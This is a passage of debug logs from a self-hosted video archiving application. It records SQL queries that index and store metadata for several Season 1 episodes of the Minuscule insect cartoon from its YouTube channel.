m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hoquet/Hiccups (Season 1)", "65dc0956-14a8-4a7c-90f2-31a1c63ee0ff", "bcaDaKR1pqw", 342, false, 4, "https://www.youtube.com/watch?v=bcaDaKR1pqw", 90, "/downloads/Miniscule Season 1/2020-03-24 Minuscule - Hoquet⧸Hiccups (Season 1)/Minuscule - Hoquet⧸Hiccups (Season 1) [bcaDaKR1pqw].mp4", false, false, false, [], 1, ~U[2020-03-24 17:30:02Z], ~U[2025-12-14 07:52:39Z], ~U[2025-12-14 07:52:39Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hoquet/Hiccups (Season 1)", "bcaDaKR1pqw", 342, false, 4, "https://www.youtube.com/watch?v=bcaDaKR1pqw", "/downloads/Miniscule Season 1/2020-03-24 Minuscule - Hoquet⧸Hiccups (Season 1)/Minuscule - Hoquet⧸Hiccups (Season 1) [bcaDaKR1pqw].mp4", false, ~U[2020-03-24 17:30:02Z]] 00:52:39.251 [debug] QUERY OK source="sources" db=0.4ms idle=603.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:39.252 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:39.253 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89080] 00:52:39.253 [debug] Current batch of media processed. Will check again in 1000ms 00:52:40.254 [debug] Current batch of media processed. Will check again in 1000ms 00:52:41.255 [debug] Current batch of media processed. Will check again in 1000ms 00:52:42.256 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 344, "filename" => "/downloads/Miniscule Season 1/2020-03-17 Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1)/Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1) [XCrb33QfhtI].mp4", "id" => "XCrb33QfhtI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XCrb33QfhtI", "playlist_index" => 91, "timestamp" => 1584459002, "title" => "Minuscule - la chenille qui voulait voir la mer/Caterpillar who wanted to see the Ocean (Season 1)", "upload_date" => "20200317"} 00:52:42.257 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1611.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:42.258 [debug] QUERY OK source="sources" db=0.4ms idle=1612.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:42.260 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1613.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-17 15:30:02Z], 4] 00:52:42.272 [debug] QUERY OK source="media_items" db=11.2ms idle=1608.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la chenille qui voulait voir la mer/Caterpillar who wanted to see the Ocean (Season 1)", "a0147382-0e10-41d5-a745-d8b92b7a4493", "XCrb33QfhtI", 344, false, 4, "https://www.youtube.com/watch?v=XCrb33QfhtI", 91, "/downloads/Miniscule Season 1/2020-03-17 Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1)/Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1) [XCrb33QfhtI].mp4", false, false, false, [], 1, ~U[2020-03-17 15:30:02Z], ~U[2025-12-14 07:52:42Z], ~U[2025-12-14 07:52:42Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la chenille qui voulait voir la mer/Caterpillar who wanted to see the Ocean (Season 1)", "XCrb33QfhtI", 344, false, 4, "https://www.youtube.com/watch?v=XCrb33QfhtI", "/downloads/Miniscule Season 1/2020-03-17 Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1)/Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1) [XCrb33QfhtI].mp4", false, ~U[2020-03-17 15:30:02Z]] 00:52:42.273 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=618.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:42.274 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=15.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:42.275 [debug] QUERY OK source="media_items" db=0.5ms idle=15.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89082] 00:52:42.275 [debug] Current batch of media processed. Will check again in 1000ms 00:52:43.276 [debug] Current batch of media processed. Will check again in 1000ms 00:52:44.277 [debug] Current batch of media processed. Will check again in 1000ms 00:52:45.278 [debug] Current batch of media processed. Will check again in 1000ms 00:52:46.279 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 343, "filename" => "/downloads/Miniscule Season 1/2020-03-10 Minuscule - la bonne graine⧸The Right Seed (Season 1)/Minuscule - la bonne graine⧸The Right Seed (Season 1) [lywDY3NoYI8].mp4", "id" => "lywDY3NoYI8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lywDY3NoYI8", "playlist_index" => 92, "timestamp" => 1583854204, "title" => "Minuscule - la bonne graine/The Right Seed (Season 1)", "upload_date" => "20200310"} 00:52:46.280 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=634.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:46.281 [debug] QUERY OK source="sources" db=0.4ms idle=635.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:46.282 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=636.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-10 15:30:04Z], 4] 00:52:46.285 [debug] QUERY OK source="media_items" db=2.2ms idle=637.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la bonne graine/The Right Seed (Season 1)", "b1c1ed6e-ca4c-4a16-9eb0-15a80cb34347", "lywDY3NoYI8", 343, false, 4, "https://www.youtube.com/watch?v=lywDY3NoYI8", 92, "/downloads/Miniscule Season 1/2020-03-10 Minuscule - la bonne graine⧸The Right Seed (Season 1)/Minuscule - la bonne graine⧸The Right Seed (Season 1) [lywDY3NoYI8].mp4", false, false, false, [], 1, ~U[2020-03-10 15:30:04Z], ~U[2025-12-14 07:52:46Z], ~U[2025-12-14 07:52:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la bonne graine/The Right Seed (Season 1)", "lywDY3NoYI8", 343, false, 4, "https://www.youtube.com/watch?v=lywDY3NoYI8", "/downloads/Miniscule Season 1/2020-03-10 Minuscule - la bonne graine⧸The Right Seed (Season 1)/Minuscule - la bonne graine⧸The Right Seed (Season 1) [lywDY3NoYI8].mp4", false, ~U[2020-03-10 15:30:04Z]] 00:52:46.286 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=624.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:46.287 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:46.288 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89084] 00:52:46.288 [debug] Current batch of media processed. Will check again in 1000ms 00:52:47.289 [debug] Current batch of media processed. Will check again in 1000ms 00:52:48.290 [debug] Current batch of media processed. Will check again in 1000ms 00:52:49.291 [debug] Current batch of media processed. Will check again in 1000ms 00:52:50.292 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE: http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 336, "filename" => "/downloads/Miniscule Season 1/2020-03-03 Minuscule - la horde sauvage⧸The Wild Bunch (Season 1)/Minuscule - la horde sauvage⧸The Wild Bunch (Season 1) [EYdLc1ePHos].mp4", "id" => "EYdLc1ePHos", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EYdLc1ePHos", "playlist_index" => 93, "timestamp" => 1583249400, "title" => "Minuscule - la horde sauvage/The Wild Bunch (Season 1)", "upload_date" => "20200303"} 00:52:50.293 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=647.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:50.294 [debug] QUERY OK source="sources" db=0.3ms idle=648.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:50.295 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=649.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-03 15:30:00Z], 4] 00:52:50.298 [debug] QUERY OK source="media_items" db=2.0ms idle=651.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE: http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la horde sauvage/The Wild Bunch (Season 1)", "eb2f168a-a628-476e-8f5f-d11b78d3760f", "EYdLc1ePHos", 336, false, 4, "https://www.youtube.com/watch?v=EYdLc1ePHos", 93, "/downloads/Miniscule Season 1/2020-03-03 Minuscule - la horde sauvage⧸The Wild Bunch (Season 1)/Minuscule - la horde sauvage⧸The Wild Bunch (Season 1) [EYdLc1ePHos].mp4", false, false, false, [], 1, ~U[2020-03-03 15:30:00Z], ~U[2025-12-14 07:52:50Z], ~U[2025-12-14 07:52:50Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE: http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la horde sauvage/The Wild Bunch (Season 1)", "EYdLc1ePHos", 336, false, 4, "https://www.youtube.com/watch?v=EYdLc1ePHos", "/downloads/Miniscule Season 1/2020-03-03 Minuscule - la horde sauvage⧸The Wild Bunch (Season 1)/Minuscule - la horde sauvage⧸The Wild Bunch (Season 1) [EYdLc1ePHos].mp4", false, ~U[2020-03-03 15:30:00Z]] 00:52:50.299 [debug] QUERY OK source="sources" db=0.4ms idle=629.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 